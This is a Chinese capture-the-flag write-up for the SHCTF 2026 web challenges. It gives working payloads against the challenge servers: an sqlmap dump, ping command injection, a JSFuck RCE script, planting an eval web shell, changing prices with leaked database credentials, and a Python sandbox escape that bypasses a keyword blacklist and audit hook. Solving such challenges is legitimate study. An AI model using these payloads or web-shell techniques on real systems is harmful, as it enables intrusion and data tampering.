200字
2026SHCTF-WEB+ezAi
2026-02-12
2026-02-12

大概只看了Web方向及misc的若干题,仅写了部分WP(全web+ezai)

Web

[阶段1] 上古遗迹档案馆

SQL注入,直接SQLmap可以出

python sqlmap.py -u http://challenge.shc.tf:31298/?id=1' --dump

[阶段1] ez-ping

&&连接命令可RCE,有waf绕过即可

127.0.0.1 && more /f???

[阶段1] calc?js?fuck!

import requests

url = "http://challenge.shc.tf:31879/calc"# 测试 1+1 的 JSFuck payload## process.mainModule.require('child_process').execSync('cat /flag').toString()

test_payload = """[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"""print(f"[*] Testing simple payload (1+1)...")print(f"[*] Payload length: {len(test_payload)} bytes\n")
data = {"expr": test_payload}try:
    res = requests.post(url, json=data, timeout=30)print(f"[+] Status Code: {res.status_code}")if res.status_code == 200:
        result = res.json()print(f"[+] Result: {result}")print(f"\n✅ JSFuck payload works! Result = {result.get('result')}")print(f"\n[*] Now we can try the command execution payload!")else:print(f"[!] Error response:")print(res.text[:1000])except Exception as e:print(f"[!] Error: {e}")

[阶段1] 05_em_v_CFK

前端源码有提示:

dirsearch扫一下 出来个目录/uploads/

带上参数访问`http://challenge.shc.tf:31626/uploads/shell.php?show=1~

<?php  
  
if (isset($_GET['show'])) {    highlight_file(__FILE__);  
}  
  
$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';  
  
if (isset($_POST['key']) && md5($_POST['key']) === $pass) {  
    if (isset($_POST['cmd'])) {        system($_POST['cmd']);  
    } elseif (isset($_POST['code'])) {  
        eval($_POST['code']);  
    }  
} else {    http_response_code(404);  
}

pass解出来是114514

为了方便 先写个🐎 就可以蚁剑连接

key=114514&code=file_put_contents('/var/www/html/a.php','<?php eval($_POST["a"]); ?>');

看看index.php是什么逻辑

<?phpinclude 'connect.php';$my_money = 3.00;$msg = "";$target_id = 0;if (isset($_POST['buy']) && isset($_POST['item_id'])) {$target_id = (int)$_POST['item_id'];if ($target_id > 0) {try {$stmt = $pdo->prepare("CALL buy_item(?, ?)");$stmt->execute([$target_id, $my_money]);$res = $stmt->fetch();$msg = $res['final_message'];$my_money -= $res['current_price'];} catch (Exception $e) {$msg = "Transaction Error: " . $e->getMessage();}} else {$msg = "Invalid item selected.";}} else {try {$stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");if ($stmt === false) {exit;}$goods_list = $stmt->fetchAll();} catch (Exception $e) {die("Error fetching goods list.");}}?><!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><title>Inflation Control Shop</title><style>body {font-family: sans-serif;background: #f4f4f4;display: flex;justify-content: center;padding-top: 50px;}.card {background: white;padding: 30px;border-radius: 10px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);width: 600px;}.balance {color: #666;margin-bottom: 20px;font-weight: bold;}table {width: 100%;border-collapse: collapse;margin-top: 15px;}th,
        td {padding: 10px;border: 1px solid #ddd;text-align: left;}th {background: #f2f2f2;}.price {color: darkgreen;font-weight: bold;}.btn {background: #007bff;color: white;border: none;padding: 8px 15px;cursor: pointer;border-radius: 5px;}.btn:hover {background: #0056b3;}.alert {/* 5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa */margin-top: 20px;padding: 10px;background: #ffeeba;border: 1px solid #ffeeba;color: #856404;border-radius: 5px;word-break: break-all;}</style></head><body><div class="card"><h1>Flag 商店</h1><div class="balance">
            你的钱包余额: <span style="color: red;">$<?php echo $my_money; ?></span></div><?php if ($msg): ?><div class="alert">
                系统消息: <?php echo htmlspecialchars($msg); ?></div><?php else: ?><h2>商品列表</h2><table><thead><tr><th>ID</th><th>商品名称</th><th>价格</th><th>操作</th></tr></thead><tbody><?php foreach ($goods_list as $good): ?><tr><td><?php echo htmlspecialchars($good['id']); ?></td><td><?php echo htmlspecialchars($good['name']); ?></td><td class="price">$<?php echo htmlspecialchars(number_format($good['price'], 2)); ?></td><td><form method="post"><input type="hidden" name="item_id" value="<?php echo htmlspecialchars($good['id']); ?>"><button type="submit" name="buy" class="btn">购买</button></form></td></tr><?php endforeach; ?></tbody></table><?php endif; ?></div></body></html>

涉及到sql库的操作,找了一下发现/var/db.sql就是想要的库

CREATE DATABASE IF NOT EXISTS shop;
USE shop;

CREATE TABLE goods (
    id INT PRIMARY KEY,
    name VARCHAR(50),
    price DECIMAL(10, 2)
);

CREATE TABLE mess (
    id INT PRIMARY KEY,
    mess VARCHAR(100)
);

INSERT INTO goods VALUES (1, 'Free Tea', 0.00), (2, 'Icecream', 3.00),(3, 'Golden Flag', 50.00);

INSERT INTO mess VALUES (1, '羊毛都让你薅光了'), (2, '好吃不贵');

CREATE USER 'ctf_user'@'localhost' IDENTIFIED BY 'ctf_password_114514';

GRANT SELECT, UPDATE ON shop.goods TO 'ctf_user'@'localhost';

DELIMITER //
CREATE DEFINER=`root`@`localhost` PROCEDURE `buy_item`(IN item_id INT, IN user_money DECIMAL(10,2))
SQL SECURITY DEFINER 
BEGIN
DECLARE current_price INT;
    DECLARE final_message VARCHAR(100);

    SELECT price INTO current_price FROM goods WHERE id = item_id;

    IF current_price <= user_money THEN
        SELECT mess INTO final_message FROM mess WHERE id = item_id;
        SELECT current_price AS current_price, final_message AS final_message;
    ELSE
        SELECT 0 AS current_price, '余额不足,你需要更多的钱或者更便宜的商品' AS final_message;
    END IF;
END //
DELIMITER ;

GRANT EXECUTE ON PROCEDURE shop.buy_item TO 'ctf_user'@'localhost';

FLUSH PRIVILEGES;

拿到如下信息

  • 数据库账号密码:ctf_user / ctf_password_114514

  • 用户 ctf_user 拥有 shop.goods 表的 UPDATE 权限

试了一下蚁剑的shell好像不能操作mysql,那就用php来帮助改价(flag改为0)再买入

<?php
$dsn = 'mysql:host=localhost;dbname=shop';
$user = 'ctf_user';
$pass = 'ctf_password_114514';

try {
    // 1. 连接数据库
    $pdo = new PDO($dsn, $user, $pass);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    echo "[*] Database connected successfully.\n";

    // 2. 修改价格:把 id=3 (Golden Flag) 的价格改成 0
    // 原价是 50,你只有 3 块,改成 0 就能买了
    $sql_update = "UPDATE goods SET price = 0 WHERE id = 3";
    $pdo->exec($sql_update);
    echo "[*] Price hacked! Golden Flag is now free ($0.00).\n";

    // 3. 购买商品:调用存储过程 buy_item
    // 参数1: item_id = 3 (Golden Flag)
    // 参数2: user_money = 3.00 (你原本的钱)
    $stmt = $pdo->prepare("CALL buy_item(3, 3.00)");
    $stmt->execute();

    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    echo "\n--- 🛒 购买结果 ---\n";
    print_r($result);

} catch (PDOException $e) {
    echo "Error: " . $e->getMessage();
}
?>

[阶段1] Eazy_Pyrunner

点关于功能发现进行了GET传参:http://challenge.shc.tf:31952/?file=pages/about.html

看这个参名猜测可以读文件:http://challenge.shc.tf:31952/?file=app.py

拿到app.py

  
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
  
app = Flask(__name__)
  
@app.route('/')
def index():
    file_name = request.args.get('file', 'pages/index.html')
    try:
        with open(file_name, 'r', encoding='utf-8') as f:
            content = f.read()
    except Exception as e:
        with open('pages/index.html', 'r', encoding='utf-8') as f:
            content = f.read()
    return render_template_string(content)
  
def waf(code):
    blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
    for keyword in blacklisted_keywords:
        if keyword in code:
            return False
    return True    
  
@app.route('/execute', methods=['POST'])
def execute_code():
    code = request.json.get('code', '')
    if not code:
        return jsonify({'error': '请输入Python代码'})
    if not waf(code):
        return jsonify({'error': 'Hacker!'})
    try:
        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
            f.write(f"""import sys
  
sys.modules['os'] = 'not allowed'
  
def is_my_love_event(event_name):
    return event_name.startswith("Nothing is my love but you.")
  
def my_audit_hook(event_name, arg):
    if len(event_name) > 0:
        raise RuntimeError("Too long event name!")
    if len(arg) > 0:
        raise RuntimeError("Too long arg!")
    if not is_my_love_event(event_name):
        raise RuntimeError("Hacker out!")
  
__import__('sys').addaudithook(my_audit_hook)
  
{code}""")
            temp_file_name = f.name
        result = subprocess.run(
            [sys.executable, temp_file_name],
            capture_output=True,
            text=True,
            timeout=10
        )
        os.unlink(temp_file_name)
        return jsonify({
            'stdout': result.stdout,
            'stderr': result.stderr
        })
    except subprocess.TimeoutExpired:
        return jsonify({'error': '代码执行超时(超过10秒)'})
    except Exception as e:
        return jsonify({'error': f'执行出错: {str(e)}'})
    finally:
        if os.path.exists(temp_file_name):
            os.unlink(temp_file_name)
  
if __name__ == '__main__':
    app.run(debug=True)

WAF:

def waf(code):
    blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec',
                            'eval', '__', 'os', 'sys', 'subprocess',
                            'run', 'flag', '\'', '\"']
    for keyword in blacklisted_keywords:
        if keyword in code:
            return False
    return True

还有个Hook

def my_audit_hook(event_name, arg):
    if len(event_name) > 0:
        raise RuntimeError("Too long event name!")
    if len(arg) > 0:
        raise RuntimeError("Too long arg!")
    if not is_my_love_event(event_name):
        raise RuntimeError("Hacker out!")

发现len 和 is_my_love_event 是通过名称查找调用的全局函数,并不是 Python 内置的函数引用,所以可以被我们重定义:

def len(x):
    return 0  # 让 len(event_name) > 0 永远为 False
def is_my_love_event(x):
    return True  # 让检查永远通过

看一下有什么全局变量

print(dir())
#  ['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__',         '__loader__', '__name__', '__package__', '__spec__', 'is_my_love_event',        'my_audit_hook', 'sys']

利用chr()函数构造字符串来绕过关键字

这里让ai帮忙拼接,太方便啦

s = globals()[chr(115)+chr(121)+chr(115)]  # sys
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))  # modules
print(list(m.keys()))
# ['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings','_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external','time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings','encodings.utf_8', '_signal', '_abc', 'abc', 'io', '__main__', '_stat','stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os','_sitebuiltins', 'site']

发现不能直接用os模块,但是posixpath模块有os属性

pp = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]  # posixpath
print(dir(pp))
#['ALLOW_MISSING', '__all__', '__builtins__', '__doc__', '__file__','__loader__', '__name__', '__package__', '__spec__', '_get_sep','_joinrealpath', '_varprog', '_varprogb', 'abspath', 'altsep', 'basename','commonpath', 'commonprefix', 'curdir', 'defpath', 'devnull', 'dirname','exists', 'expanduser', 'expandvars', 'extsep', 'genericpath', 'getatime','getctime', 'getmtime', 'getsize', 'isabs', 'isdir', 'isfile', 'isjunction','islink', 'ismount', 'join', 'lexists','normcase','normpath','os','pardir', 'pathsep', 'realpath', 'relpath', 'samefile','sameopenfile','samestat','sep', 'split', 'splitdrive', 'splitext', 'splitroot','stat','supports_unicode_filenames', 'sys']

利用os.listdir看一下根目录,发现有个read_flag

def len(x):
    return 0
def is_my_love_event(x):
    return True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
pp = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]
o = getattr(pp, chr(111)+chr(115))
ld = getattr(o, chr(108)+chr(105)+chr(115)+chr(116)+chr(100)+chr(105)+chr(114))  # listdir
print(ld(chr(47)))  # /
# ['bin', 'boot', 'dev', 'etc', 'flag', 'home', 'lib', 'lib64','media', 'mnt', 'opt', 'proc', 'read_flag', 'root', 'run','sbin', 'srv', 'sys', 'tmp', 'usr', 'var']

Payload:

def len(x):
    return 0
def is_my_love_event(x):
    return True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
pp = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]
o = getattr(pp, chr(111)+chr(115))
sy = getattr(o, chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))  # system
sy(chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103))  # /read_flag
# SHCTF{af641d0f-00ad-4db4-b27b-46b57feddc22}

[阶段1] Ezphp

源码:

<?php
  
highlight_file(__FILE__);
error_reporting(0);
  
class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}
  
class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
